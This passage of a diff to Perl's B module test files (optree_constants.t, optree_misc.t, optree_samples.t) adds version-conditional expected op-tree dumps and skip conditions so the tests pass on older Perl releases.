rv2av[t7] lKM/1 +# 5 <1> rv2av[t7] lK/1 < 5.019002 +# 5 <1> rv2av[t7] lKM/1 >=5.019002 # 6 <@> sort lKS* # 7 <0> pushmark s # 8 <#> gv[*articles] s @@ -706,7 +763,8 @@ EOT_EOT # 2 <0> pushmark s # 3 <0> pushmark s # 4 <$> gv(*files) s -# 5 <1> rv2av[t3] lKM/1 +# 5 <1> rv2av[t3] lK/1 < 5.019002 +# 5 <1> rv2av[t3] lKM/1 >=5.019002 # 6 <@> sort lKS* # 7 <0> pushmark s # 8 <$> gv(*articles) s @@ -733,11 +791,13 @@ checkOptree(note => q{}, # 4 <0> pushmark s # 5 <#> gv[*input] s # 6 <1> rv2av[t9] lKM/1 -# 7 <@> grepstart lK +# 7 <@> grepstart lK* < 5.017002 +# 7 <@> grepstart lK >=5.017002 # 8 <|> grepwhile(other->9)[t10] lK # 9 <#> gvsv[*_] s # a <#> gvsv[*_] s # b <2> eq sK/2 +# - <@> scope sK < 5.017002 # goto 8 # c <@> sort lK/NUM # d <0> pushmark s @@ -752,11 +812,13 @@ EOT_EOT # 4 <0> pushmark s # 5 <$> gv(*input) s # 6 <1> rv2av[t3] lKM/1 -# 7 <@> grepstart lK +# 7 <@> grepstart lK* < 5.017002 +# 7 <@> grepstart lK >=5.017002 # 8 <|> grepwhile(other->9)[t4] lK # 9 <$> gvsv(*_) s # a <$> gvsv(*_) s # b <2> eq sK/2 +# - <@> scope sK < 5.017002 # goto 8 # c <@> sort lK/NUM # d <0> pushmark s @@ -810,11 +872,13 @@ checkOptree(note => q{}, # 3 <0> pushmark s # 4 <#> gv[*input] s # 5 <1> rv2av[t7] lKM/1 -# 6 <@> grepstart lK +# 6 <@> grepstart lK* < 5.017002 +# 6 <@> grepstart lK >=5.017002 # 7 <|> grepwhile(other->8)[t8] lK # 8 <#> gvsv[*_] s # 9 <#> gvsv[*_] s # a <2> eq sK/2 +# - <@> scope sK < 5.017002 # goto 7 # b <@> sort K/NUM # c <1> leavesub[1 ref] K/REFC,1 @@ -824,11 +888,13 @@ EOT_EOT # 3 <0> pushmark s # 4 <$> gv(*input) s # 5 <1> rv2av[t2] lKM/1 -# 6 <@> grepstart lK +# 6 <@> grepstart lK* < 5.017002 +# 6 <@> grepstart lK >=5.017002 # 7 <|> grepwhile(other->8)[t3] lK # 8 <$> gvsv(*_) s # 9 <$> gvsv(*_) s # a <2> eq sK/2 +# - <@> scope sK < 5.017002 # goto 7 # b <@> sort K/NUM # c <1> leavesub[1 ref] K/REFC,1 @@ -881,11 +947,13 @@ checkOptree(note => q{}, # 3 <0> pushmark s # 4 <#> gv[*input] s # 5 <1> rv2av[t8] lKM/1 -# 6 <@> grepstart lK +# 6 <@> grepstart lK* < 5.017002 +# 6 <@> grepstart lK >=5.017002 # 7 <|> grepwhile(other->8)[t9] lK # 8 <#> gvsv[*_] s # 9 <#> gvsv[*_] s # a <2> eq sK/2 +# - <@> scope sK < 5.017002 # goto 7 # b <@> sort sK/NUM # c <#> gvsv[*s] s @@ -897,11 +965,13 @@ EOT_EOT # 3 <0> pushmark s # 4 <$> gv(*input) s # 5 <1> rv2av[t2] lKM/1 -# 6 <@> grepstart lK +# 6 <@> grepstart lK* < 5.017002 +# 6 <@> grepstart lK >=5.017002 # 7 <|> grepwhile(other->8)[t3] lK # 8 <$> gvsv(*_) s # 9 <$> gvsv(*_) s # a <2> eq sK/2 +# - <@> scope sK < 5.017002 # goto 7 # b <@> sort sK/NUM # c <$> gvsv(*s) s diff --git a/ext/B/t/optree_constants.t b/ext/B/t/optree_constants.t index a8073164dbcc..865eed1df068 100644 --- a/ext/B/t/optree_constants.t +++ b/ext/B/t/optree_constants.t @@ -16,21 +16,10 @@ BEGIN { use OptreeCheck; # ALSO DOES @ARGV HANDLING !!!!!! use Config; -plan tests => 99; +plan tests => 67; ################################# -my sub lleexx {} -sub tsub0 {} -sub tsub1 {} $tsub1 = 1; -sub t::tsub2 {} -sub t::tsub3 {} $tsub3 = 1; -{ - package t; - sub tsub4 {} - sub tsub5 {} $tsub5 = 1; -} - use constant { # see also t/op/gv.t line 358 myaref => [ 1,2,3 ], myfl => 1.414213, @@ -42,42 +31,32 @@ use constant { # see also t/op/gv.t line 358 mysub => \&ok, myundef => undef, myunsub => \&nosuch, - myanonsub => sub {}, - mylexsub => \&lleexx, - tsub0 => \&tsub0, - tsub1 => \&tsub1, - tsub2 => \&t::tsub2, - tsub3 => \&t::tsub3, - tsub4 => \&t::tsub4, - tsub5 => \&t::tsub5, }; sub myyes() { 1==1 } sub myno () { return 1!=1 } sub pi () { 3.14159 }; +my $RV_class = $] >= 5.011 ? 'IV' : 'RV'; + my $want = { # expected types, how value renders in-line, todos (maybe) mystr => [ 'PV', '"'.mystr.'"' ], - myhref => [ 'IV', '\\\\HASH'], + myhref => [ $RV_class, '\\\\HASH'], pi => [ 'NV', pi ], - myglob => [ 'IV', '\\\\' ], - mysub => [ 'IV', '\\\\&main::ok' ], - myunsub => [ 'IV', '\\\\&main::nosuch' ], - myanonsub => [ 'IV', '\\\\CODE' ], - mylexsub => [ 'IV', '\\\\&lleexx' ], - tsub0 => [ 'IV', '\\\\&main::tsub0' ], - tsub1 => [ 'IV', '\\\\&main::tsub1' ], - tsub2 => [ 'IV', '\\\\&t::tsub2' ], - tsub3 => [ 'IV', '\\\\&t::tsub3' ], - tsub4 => [ 'IV', '\\\\&t::tsub4' ], - tsub5 => [ 'IV', '\\\\&t::tsub5' ], + myglob => [ $RV_class, '\\\\' ], + mysub => [ $RV_class, '\\\\' ], + myunsub => [ $RV_class, '\\\\' ], # these are not inlined, at least not per BC::Concise - #myyes => [ 'IV', ], - #myno => [ 'IV', ], - myaref => [ 'IV', '\\\\ARRAY' ], + #myyes => [ $RV_class, ], + #myno => [ $RV_class, ], + myaref => [ $RV_class, '\\\\' ], myfl => [ 'NV', myfl ], myint => [ 'IV', myint ], - myrex => [ 'IV', '\\\\"\\(?^:Foo\\)"' ], + $] >= 5.011 ? ( + myrex => [ $RV_class, '\\\\"\\(?^:Foo\\)"' ], + ) : ( + myrex => [ $RV_class, '\\\\' ], + ), myundef => [ 'NULL', ], }; @@ -123,12 +102,14 @@ for $func (sort keys %$want) { 3 <1> leavesub[2 refs] K/REFC,1 ->(end) - <\@> lineseq KP ->3 1 <;> dbstate(main 833 (eval 44):1) v ->2 -2 <\$> const[$want->{$func}[0] $want->{$func}[1]] s*/FOLD ->3 +2 <\$> const[$want->{$func}[0] $want->{$func}[1]] s* ->3 < 5.017002 +2 <\$> const[$want->{$func}[0] $want->{$func}[1]] s*/FOLD ->3 >=5.017002 EOT_EOT 3 <1> leavesub[2 refs] K/REFC,1 ->(end) - <\@> lineseq KP ->3 1 <;> dbstate(main 833 (eval 44):1) v ->2 -2 <\$> const($want->{$func}[0] $want->{$func}[1]) s*/FOLD ->3 +2 <\$> const($want->{$func}[0] $want->{$func}[1]) s* ->3 < 5.017002 +2 <\$> const($want->{$func}[0] $want->{$func}[1]) s*/FOLD ->3 >=5.017002 EONT_EONT } @@ -156,14 +137,16 @@ checkOptree ( name => 'myyes() as coderef', # 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3 # 5 <@> print vK ->6 # 3 <0> pushmark s ->4 -# 4 <$> const[SPECIAL sv_yes] s*/FOLD ->5 +# 4 <$> const[SPECIAL sv_yes] s* ->5 < 5.017002 +# 4 <$> const[SPECIAL sv_yes] s*/FOLD ->5 >=5.017002 EOT_EOT # 6 <@> leave[1 ref] vKP/REFC ->(end) # 1 <0> enter ->2 # 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3 # 5 <@> print vK ->6 # 3 <0> pushmark s ->4 -# 4 <$> const(SPECIAL sv_yes) s*/FOLD ->5 +# 4 <$> const(SPECIAL sv_yes) s* ->5 < 5.017002 +# 4 <$> const(SPECIAL sv_yes) s*/FOLD ->5 >=5.017002 EONT_EONT @@ -180,18 +163,33 @@ checkOptree ( name => 'myno() as coderef', # 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3 # 5 <@> print vK ->6 # 3 <0> pushmark s ->4 -# 4 <$> const[SPECIAL sv_no] s*/FOLD ->5 +# 4 <$> const[SPECIAL sv_no] s* ->5 < 5.017002 +# 4 <$> const[SPECIAL sv_no] s*/FOLD ->5 >=5.017002 EOT_EOT # 6 <@> leave[1 ref] vKP/REFC ->(end) # 1 <0> enter ->2 # 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ ->3 # 5 <@> print vK ->6 # 3 <0> pushmark s ->4 -# 4 <$> const(SPECIAL sv_no) s*/FOLD ->5 +# 4 <$> const(SPECIAL sv_no) s* ->5 < 5.017002 +# 4 <$> const(SPECIAL sv_no) s*/FOLD ->5 >=5.017002 EONT_EONT -my ($expect, $expect_nt) = (" is a constant sub, optimized to a AV\n") x 2; +my ($expect, $expect_nt) = + $] >= 5.019003 + ? (" is a constant sub, optimized to a AV\n") x 2 + : (<<'EOT_EOT', <<'EONT_EONT'); +# 3 <1> leavesub[2 refs] K/REFC,1 ->(end) +# - <@> lineseq K ->3 +# 1 <;> nextstate(constant 61 constant.pm:118) v:*,&,x*,x&,x$ ->2 +# 2 <0> padav[@list:FAKE:m:96] ->3 +EOT_EOT +# 3 <1> leavesub[2 refs] K/REFC,1 ->(end) +# - <@> lineseq K ->3 +# 1 <;> nextstate(constant 61 constant.pm:118) v:*,&,x*,x&,x$ ->2 +# 2 <0> padav[@list:FAKE:m:71] ->3 +EONT_EONT checkOptree ( name => 'constant sub returning list', @@ -212,10 +210,14 @@ my ($expect, $expect_nt) = (<<'EOT_EOT', <<'EONT_EONT'); # 8 <@> prtf sK ->9 # 2 <0> pushmark sM ->3 # 3 <$> const[PV "myint %d mystr %s myfl %f pi %f\n"] sM/FOLD ->4 -# 4 <$> const[IV 42] sM*/FOLD ->5 -# 5 <$> const[PV "hithere"] sM*/FOLD ->6 -# 6 <$> const[NV 1.414213] sM*/FOLD ->7 -# 7 <$> const[NV 3.14159] sM*/FOLD ->8 +# 4 <$> const[IV 42] sM* ->5 < 5.017002 +# 5 <$> const[PV "hithere"] sM* ->6 < 5.017002 +# 6 <$> const[NV 1.414213] sM* ->7 < 5.017002 +# 7 <$> const[NV 3.14159] sM* ->8 < 5.017002 +# 4 <$> const[IV 42] sM*/FOLD ->5 >=5.017002 +# 5 <$> const[PV "hithere"] sM*/FOLD ->6 >=5.017002 +# 6 <$> const[NV 1.414213] sM*/FOLD ->7 >=5.017002 +# 7 <$> const[NV 3.14159] sM*/FOLD ->8 >=5.017002 EOT_EOT # 9 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->9 @@ -223,13 +225,22 @@ EOT_EOT # 8 <@> prtf sK ->9 # 2 <0> pushmark sM ->3 # 3 <$> const(PV "myint %d mystr %s myfl %f pi %f\n") sM/FOLD ->4 -# 4 <$> const(IV 42) sM*/FOLD ->5 -# 5 <$> const(PV "hithere") sM*/FOLD ->6 -# 6 <$> const(NV 1.414213) sM*/FOLD ->7 -# 7 <$> const(NV 3.14159) sM*/FOLD ->8 +# 4 <$> const(IV 42) sM* ->5 < 5.017002 +# 5 <$> const(PV "hithere") sM* ->6 < 5.017002 +# 6 <$> const(NV 1.414213) sM* ->7 < 5.017002 +# 7 <$> const(NV 3.14159) sM* ->8 < 5.017002 +# 4 <$> const(IV 42) sM*/FOLD ->5 >=5.017002 +# 5 <$> const(PV "hithere") sM*/FOLD ->6 >=5.017002 +# 6 <$> const(NV 1.414213) sM*/FOLD ->7 >=5.017002 +# 7 <$> const(NV 3.14159) sM*/FOLD ->8 >=5.017002 EONT_EONT -s|\\n"[])] sM\K/FOLD|| for $expect, $expect_nt; +if($] < 5.015) { + s/M(?=\*? ->)//g for $expect, $expect_nt; +} +if($] < 5.017002 || $] >= 5.019004) { + s|\\n"[])] sM\K/FOLD|| for $expect, $expect_nt; +} checkOptree ( name => 'call many in a print statement', code => \&printem, @@ -247,14 +258,16 @@ checkOptree ( name => 'arithmetic constant folding in print', # 1 <;> nextstate(main 937 (eval 53):1) v ->2 # 4 <@> print sK ->5 # 2 <0> pushmark s ->3 -# 3 <$> const[IV 6] s/FOLD ->4 +# 3 <$> const[IV 6] s ->4 < 5.017002 +# 3 <$> const[IV 6] s/FOLD ->4 >=5.017002 EOT_EOT # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 # 1 <;> nextstate(main 937 (eval 53):1) v ->2 # 4 <@> print sK ->5 # 2 <0> pushmark s ->3 -# 3 <$> const(IV 6) s/FOLD ->4 +# 3 <$> const(IV 6) s ->4 < 5.017002 +# 3 <$> const(IV 6) s/FOLD ->4 >=5.017002 EONT_EONT checkOptree ( name => 'string constant folding in print', @@ -266,14 +279,16 @@ checkOptree ( name => 'string constant folding in print', # 1 <;> nextstate(main 942 (eval 55):1) v ->2 # 4 <@> print sK ->5 # 2 <0> pushmark s ->3 -# 3 <$> const[PV "foobar"] s/FOLD ->4 +# 3 <$> const[PV "foobar"] s ->4 < 5.017002 +# 3 <$> const[PV "foobar"] s/FOLD ->4 >=5.017002 EOT_EOT # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 # 1 <;> nextstate(main 942 (eval 55):1) v ->2 # 4 <@> print sK ->5 # 2 <0> pushmark s ->3 -# 3 <$> const(PV "foobar") s/FOLD ->4 +# 3 <$> const(PV "foobar") s ->4 < 5.017002 +# 3 <$> const(PV "foobar") s/FOLD ->4 >=5.017002 EONT_EONT checkOptree ( name => 'boolean or folding', @@ -283,14 +298,16 @@ checkOptree ( name => 'boolean or folding', # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 # 1 <;> nextstate(main 942 (eval 55):1) v ->2 -# 4 <@> print sK/FOLD ->5 +# 4 <@> print sK ->5 < 5.019004 +# 4 <@> print sK/FOLD ->5 >=5.019004 # 2 <0> pushmark s ->3 # 3 <$> const[PV "foobar"] s ->4 EOT_EOT # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 # 1 <;> nextstate(main 942 (eval 55):1) v ->2 -# 4 <@> print sK/FOLD ->5 +# 4 <@> print sK ->5 < 5.019004 +# 4 <@> print sK/FOLD ->5 >=5.019004 # 2 <0> pushmark s ->3 # 3 <$> const(PV "foobar") s ->4 EONT_EONT @@ -311,61 +328,76 @@ checkOptree ( name => 'lc*,uc*,gt,lt,ge,le,cmp', # - <@> lineseq KP ->r # 1 <;> nextstate(main 916 optree_constants.t:307) v:>,<,%,{ ->2 # 4 <2> sassign vKS/2 ->5 -# 2 <$> const[PV "FOO.Bar.low.lOW"] s/FOLD ->3 +# 2 <$> const[PV "FOO.Bar.low.lOW"] s ->3 < 5.017002 +# 2 <$> const[PV "FOO.Bar.low.lOW"] s/FOLD ->3 >=5.017002 # - <1> ex-rv2sv sKRM*/1 ->4 # 3 <#> gvsv[*s] s ->4 # 5 <;> nextstate(main 916 optree_constants.t:308) v:>,<,%,{ ->6 -# 8 <@> print vK/FOLD ->9 +# 8 <@> print vK ->9 < 5.019004 +# 8 <@> print vK/FOLD ->9 >=5.019004 # 6 <0> pushmark s ->7 # 7 <$> const[PV "a-lt-b"] s ->8 # 9 <;> nextstate(main 916 optree_constants.t:309) v:>,<,%,{ ->a -# c <@> print vK/FOLD ->d +# c <@> print vK ->d < 5.019004 +# c <@> print vK/FOLD ->d >=5.019004 # a <0> pushmark s ->b # b <$> const[PV "b-gt-a"] s ->c # d <;> nextstate(main 916 optree_constants.t:310) v:>,<,%,{ ->e -# g <@> print vK/FOLD ->h +# g <@> print vK ->h < 5.019004 +# g <@> print vK/FOLD ->h >=5.019004 # e <0> pushmark s ->f # f <$> const[PV "a-le-b"] s ->g # h <;> nextstate(main 916 optree_constants.t:311) v:>,<,%,{ ->i -# k <@> print vK/FOLD ->l +# k <@> print vK ->l < 5.019004 +# k <@> print vK/FOLD ->l >=5.019004 # i <0> pushmark s ->j # j <$> const[PV "b-ge-a"] s ->k # l <;> nextstate(main 916 optree_constants.t:312) v:>,<,%,{ ->m -# o <@> print vK/FOLD ->p +# o <@> print vK ->p < 5.019004 +# o <@> print vK/FOLD ->p >=5.019004 # m <0> pushmark s ->n # n <$> const[PV "b-cmp-a"] s ->o # p <;> nextstate(main 916 optree_constants.t:313) v:>,<,%,{ ->q -# q <$> const[SPECIAL sv_no] s/SHORT,FOLD ->r +# q <$> const[PVNV 0] s/SHORT ->r < 5.017002 +# q <$> const[PVNV 0] s/FOLD,SHORT ->r >=5.017002 < 5.019003 +# q <$> const[SPECIAL sv_no] s/SHORT,FOLD ->r >=5.019003 EOT_EOT # r <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->r # 1 <;> nextstate(main 916 optree_constants.t:307) v:>,<,%,{ ->2 # 4 <2> sassign vKS/2 ->5 -# 2 <$> const(PV "FOO.Bar.low.lOW") s/FOLD ->3 +# 2 <$> const(PV "FOO.Bar.low.lOW") s ->3 < 5.017002 +# 2 <$> const(PV "FOO.Bar.low.lOW") s/FOLD ->3 >=5.017002 # - <1> ex-rv2sv sKRM*/1 ->4 # 3 <$> gvsv(*s) s ->4 # 5 <;> nextstate(main 916 optree_constants.t:308) v:>,<,%,{ ->6 -# 8 <@> print vK/FOLD ->9 +# 8 <@> print vK ->9 < 5.019004 +# 8 <@> print vK/FOLD ->9 >=5.019004 # 6 <0> pushmark s ->7 # 7 <$> const(PV "a-lt-b") s ->8 # 9 <;> nextstate(main 916 optree_constants.t:309) v:>,<,%,{ ->a -# c <@> print vK/FOLD ->d +# c <@> print vK ->d < 5.019004 +# c <@> print vK/FOLD ->d >=5.019004 # a <0> pushmark s ->b # b <$> const(PV "b-gt-a") s ->c # d <;> nextstate(main 916 optree_constants.t:310) v:>,<,%,{ ->e -# g <@> print vK/FOLD ->h +# g <@> print vK ->h < 5.019004 +# g <@> print vK/FOLD ->h >=5.019004 # e <0> pushmark s ->f # f <$> const(PV "a-le-b") s ->g # h <;> nextstate(main 916 optree_constants.t:311) v:>,<,%,{ ->i -# k <@> print vK/FOLD ->l +# k <@> print vK ->l < 5.019004 +# k <@> print vK/FOLD ->l >=5.019004 # i <0> pushmark s ->j # j <$> const(PV "b-ge-a") s ->k # l <;> nextstate(main 916 optree_constants.t:312) v:>,<,%,{ ->m -# o <@> print vK/FOLD ->p +# o <@> print vK ->p < 5.019004 +# o <@> print vK/FOLD ->p >=5.019004 # m <0> pushmark s ->n # n <$> const(PV "b-cmp-a") s ->o # p <;> nextstate(main 916 optree_constants.t:313) v:>,<,%,{ ->q -# q <$> const(SPECIAL sv_no) s/SHORT,FOLD ->r +# q <$> const(SPECIAL sv_no) s/SHORT ->r < 5.017002 +# q <$> const(SPECIAL sv_no) s/SHORT,FOLD ->r >=5.017002 EONT_EONT checkOptree ( name => 'mixed constant folding, with explicit braces', @@ -377,14 +409,16 @@ checkOptree ( name => 'mixed constant folding, with explicit braces', # 1 <;> nextstate(main 977 (eval 28):1) v ->2 # 4 <@> print sK ->5 # 2 <0> pushmark s ->3 -# 3 <$> const[PV "foobar5"] s/FOLD ->4 +# 3 <$> const[PV "foobar5"] s ->4 < 5.017002 +# 3 <$> const[PV "foobar5"] s/FOLD ->4 >=5.017002 EOT_EOT # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 # 1 <;> nextstate(main 977 (eval 28):1) v ->2 # 4 <@> print sK ->5 # 2 <0> pushmark s ->3 -# 3 <$> const(PV "foobar5") s/FOLD ->4 +# 3 <$> const(PV "foobar5") s ->4 < 5.017002 +# 3 <$> const(PV "foobar5") s/FOLD ->4 >=5.017002 EONT_EONT __END__ diff --git a/ext/B/t/optree_misc.t b/ext/B/t/optree_misc.t index f8ff3ce9689a..22440ca5b8eb 100644 --- a/ext/B/t/optree_misc.t +++ b/ext/B/t/optree_misc.t @@ -65,7 +65,30 @@ EONT_EONT checkOptree ( name => 'PMOP children', code => sub { $foo =~ s/(a)/$1/ }, strip_open_hints => 1, - expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); + ( $] < 5.017002 + ? (expect => <<'EOT_EOT16', expect_nt => <<'EONT_EONT16') +# 6 <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->6 +# 1 <;> nextstate(main 1 -e:1) v:>,<,%,{ ->2 +# 3 subst(/"(a)"/ replstart->4) KS ->6 +# - <1> ex-rv2sv sKRM/1 ->3 +# 2 <#> gvsv[*foo] s ->3 +# 5 <|> substcont(other->3) sK/1 ->(end) +# - <1> ex-rv2sv sK/1 ->5 +# 4 <#> gvsv[*1] s ->5 +EOT_EOT16 +# 6 <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->6 +# 1 <;> nextstate(main 1 -e:1) v:>,<,%,{ ->2 +# 3 subst(/"(a)"/ replstart->4) KS ->6 +# - <1> ex-rv2sv sKRM/1 ->3 +# 2 <$> gvsv(*foo) s ->3 +# 5 <|> substcont(other->3) sK/1 ->(end) +# - <1> ex-rv2sv sK/1 ->5 +# 4 <$> gvsv(*1) s ->5 +EONT_EONT16 + + : (expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'))); # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 # 1 <;> nextstate(main 1 -e:1) v:>,<,%,{ ->2 @@ -126,6 +149,7 @@ checkOptree ( name => 'formats', bcopts => 'STDOUT', progfile => $tmpfile, strip_open_hints => 1, + skip => ($] < 5.017003), expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # main::STDOUT (FORMAT): # c <1> leavewrite[1 ref] K/REFC,1 ->(end) @@ -171,6 +195,7 @@ EONT_EONT checkOptree ( name => 'padrange', code => sub { my ($x,$y); @a = ($x,$y); ($x,$y) = @a }, strip_open_hints => 1, + skip => ($] < 5.017006), expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # f <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->f @@ -236,6 +261,7 @@ checkOptree ( name => 'padrange and @_', my ($e,$f) = @_; }, strip_open_hints => 1, + skip => ($] < 5.017006), expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # d <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->d @@ -307,6 +333,7 @@ EONT_EONT checkOptree ( name => 'consolidate padranges', code => sub { my ($a,$b); my ($c,$d); 1 }, strip_open_hints => 1, + skip => ($] < 5.017006), expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 @@ -344,6 +371,7 @@ checkOptree ( name => 'consolidate padranges and singletons', code => sub { my ($a,$b); my $c; my ($d,$e); my @f; my $g; my ($h,$i); my %j; 1 }, strip_open_hints => 1, + skip => ($] < 5.017006), expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); # 5 <1> leavesub[1 ref] K/REFC,1 ->(end) # - <@> lineseq KP ->5 diff --git a/ext/B/t/optree_samples.t b/ext/B/t/optree_samples.t index 15b5799ce085..1330a4730226 100644 --- a/ext/B/t/optree_samples.t +++ b/ext/B/t/optree_samples.t @@ -240,36 +240,38 @@ checkOptree ( name => '-exec sub { foreach (1..10) {print "foo $_"} }', # 3 <$> const[IV 1] s # 4 <$> const[IV 10] s # 5 <#> gv[*_] s -# 6 <{> enteriter(next->c last->f redo->7) KS/DEF -# d <0> iter s -# e <|> and(other->7) K/1 -# 7 <;> nextstate(main 1659 optree_samples.t:234) v:>,<,% +# 6 <{> enteriter(next->d last->g redo->7) KS/DEF +# e <0> iter s +# f <|> and(other->7) K/1 +# 7 <;> nextstate(main 442 optree.t:158) v:>,<,% # 8 <0> pushmark s -# 9 <#> gvsv[*_] s -# a <+> multiconcat("foo ",4,-1)[t5] sK/STRINGIFY -# b <@> print vK -# c <0> unstack s -# goto d -# f <2> leaveloop K/2 -# g <1> leavesub[1 ref] K/REFC,1 +# 9 <$> const[PV "foo "] s +# a <#> gvsv[*_] s +# b <2> concat[t4] sK/2 +# c <@> print vK +# d <0> unstack s +# goto e +# g <2> leaveloop K/2 +# h <1> leavesub[1 ref] K/REFC,1 EOT_EOT # 1 <;> nextstate(main 444 optree_samples.t:182) v:>,<,% # 2 <0> pushmark s # 3 <$> const(IV 1) s # 4 <$> const(IV 10) s # 5 <$> gv(*_) s -# 6 <{> enteriter(next->c last->f redo->7) KS/DEF -# d <0> iter s -# e <|> and(other->7) K/1 +# 6 <{> enteriter(next->d last->g redo->7) KS/DEF +# e <0> iter s +# f <|> and(other->7) K/1 # 7 <;> nextstate(main 443 optree_samples.t:182) v:>,<,% # 8 <0> pushmark s -# 9 <$> gvsv(*_) s -# a <+> multiconcat("foo ",4,-1)[t4] sK/STRINGIFY -# b <@> print vK -# c <0> unstack s -# goto d -# f <2> leaveloop K/2 -# g <1> leavesub[1 ref] K/REFC,1 +# 9 <$> const(PV "foo ") s +# a <$> gvsv(*_) s +# b <2> concat[t3] sK/2 +# c <@> print vK +# d <0> unstack s +# goto e +# g <2> leaveloop K/2 +# h <1> leavesub[1 ref] K/REFC,1 EONT_EONT checkOptree ( name => '-basic sub { print "foo $_" foreach (1..10) }', @@ -277,53 +279,55 @@ checkOptree ( name => '-basic sub { print "foo $_" foreach (1..10) }', bcopts => '-basic', strip_open_hints => 1, expect => <<'EOT_EOT', expect_nt => <<'EONT_EONT'); -# f <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->f +# g <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->g # 1 <;> nextstate(main 445 optree.t:167) v:>,<,% ->2 -# e <2> leaveloop K/2 ->f -# 6 <{> enteriter(next->b last->e redo->7) KS/DEF ->c +# f <2> leaveloop K/2 ->g +# 6 <{> enteriter(next->c last->f redo->7) KS/DEF ->d # - <0> ex-pushmark s ->2 # - <1> ex-list lK ->5 # 2 <0> pushmark s ->3 # 3 <$> const[IV 1] s ->4 # 4 <$> const[IV 10] s ->5 # 5 <#> gv[*_] s ->6 -# - <1> null K/1 ->e -# d <|> and(other->7) K/1 ->e -# c <0> iter s ->d +# - <1> null K/1 ->f +# e <|> and(other->7) K/1 ->f +# d <0> iter s ->e # - <@> lineseq sK ->- -# a <@> print vK ->b +# b <@> print vK ->c # 7 <0> pushmark s ->8 -# 9 <+> multiconcat("foo ",4,-1)[t3] sK/STRINGIFY ->a -# - <0> ex-pushmark s ->- -# - <0> ex-const s ->8 -# - <1> ex-rv2sv sK/1 ->9 -# 8 <#> gvsv[*_] s ->9 -# b <0> unstack s ->c +# - <1> ex-stringify sK/1 ->b +# - <0> ex-pushmark s ->8 +# a <2> concat[t2] sK/2 ->b +# 8 <$> const[PV "foo "] s ->9 +# - <1> ex-rv2sv sK/1 ->a +# 9 <#> gvsv[*_] s ->a +# c <0> unstack s ->d EOT_EOT -# f <1> leavesub[1 ref] K/REFC,1 ->(end) -# - <@> lineseq KP ->f +# g <1> leavesub[1 ref] K/REFC,1 ->(end) +# - <@> lineseq KP ->g # 1 <;> nextstate(main 446 optree_samples.t:192) v:>,<,% ->2 -# e <2> leaveloop K/2 ->f -# 6 <{> enteriter(next->b last->e redo->7) KS/DEF ->c +# f <2> leaveloop K/2 ->g +# 6 <{> enteriter(next->c last->f redo->7) KS/DEF ->d # - <0> ex-pushmark s ->2 # - <1> ex-list lK ->5 # 2 <0> pushmark s ->3 # 3 <$> const(IV 1) s ->4 # 4 <$> const(IV 10) s ->5 # 5 <$> gv(*_) s ->6 -# - <1> null K/1 ->e -# d <|> and(other->7) K/1 ->e -# c <0> iter s ->d +# - <1> null K/1 ->f +# e <|> and(other->7) K/1 ->f +# d <0> iter s ->e # - <@> lineseq sK ->- -# a <@> print vK ->b +# b <@> print vK ->c # 7 <0> pushmark s ->8 -# 9 <+> multiconcat("foo ",4,-1)[t2] sK/STRINGIFY ->a -# - <0> ex-pushmark s ->- -# - <0> ex-const s ->8 -# - <1> ex-rv2sv sK/1 ->9 -# 8 <$> gvsv(*_) s ->9 -# b <0> unstack s ->c +# - <1> ex-stringify sK/1 ->b +# - <0> ex-pushmark s ->8 +# a <2> concat[t1] sK/2 ->b +# 8 <$> const(PV "foo ") s ->9 +# - <1> ex-rv2sv sK/1 ->a +# 9 <$> gvsv(*_) s ->a +# c <0> unstack s ->d EONT_EONT checkOptree ( name => '-exec -e foreach (1..10) {print qq{foo $_}}', @@ -337,18 +341,19 @@ checkOptree ( name => '-exec -e foreach (1..10) {print qq{foo $_}}', # 4 <$> const[IV 1] s # 5 <$> const[IV 10] s # 6 <#> gv[*_] s -# 7 <{> enteriter(next->d last->g redo->8) vKS/DEF -# e <0> iter s -# f <|> and(other->8) vK/1 +# 7 <{> enteriter(next->e last->h redo->8) vKS/DEF +# f <0> iter s +# g <|> and(other->8) vK/1 # 8 <;> nextstate(main 1 -e:1) v:>,<,% # 9 <0> pushmark s -# a <#> gvsv[*_] s -# b <+> multiconcat("foo ",4,-1)[t5] sK/STRINGIFY -# c <@> print vK -# d <0> unstack v -# goto e -# g <2> leaveloop vK/2 -# h <@> leave[1 ref] vKP/REFC +# a <$> const[PV "foo "] s +# b <#> gvsv[*_] s +# c <2> concat[t4] sK/2 +# d <@> print vK +# e <0> unstack v +# goto f +# h <2> leaveloop vK/2 +# i <@> leave[1 ref] vKP/REFC EOT_EOT # 1 <0> enter # 2 <;> nextstate(main 2 -e:1) v:>,<,%,{ @@ -356,18 +361,19 @@ EOT_EOT # 4 <$> const(IV 1) s # 5 <$> const(IV 10) s # 6 <$> gv(*_) s -# 7 <{> enteriter(next->d last->g redo->8) vKS/DEF 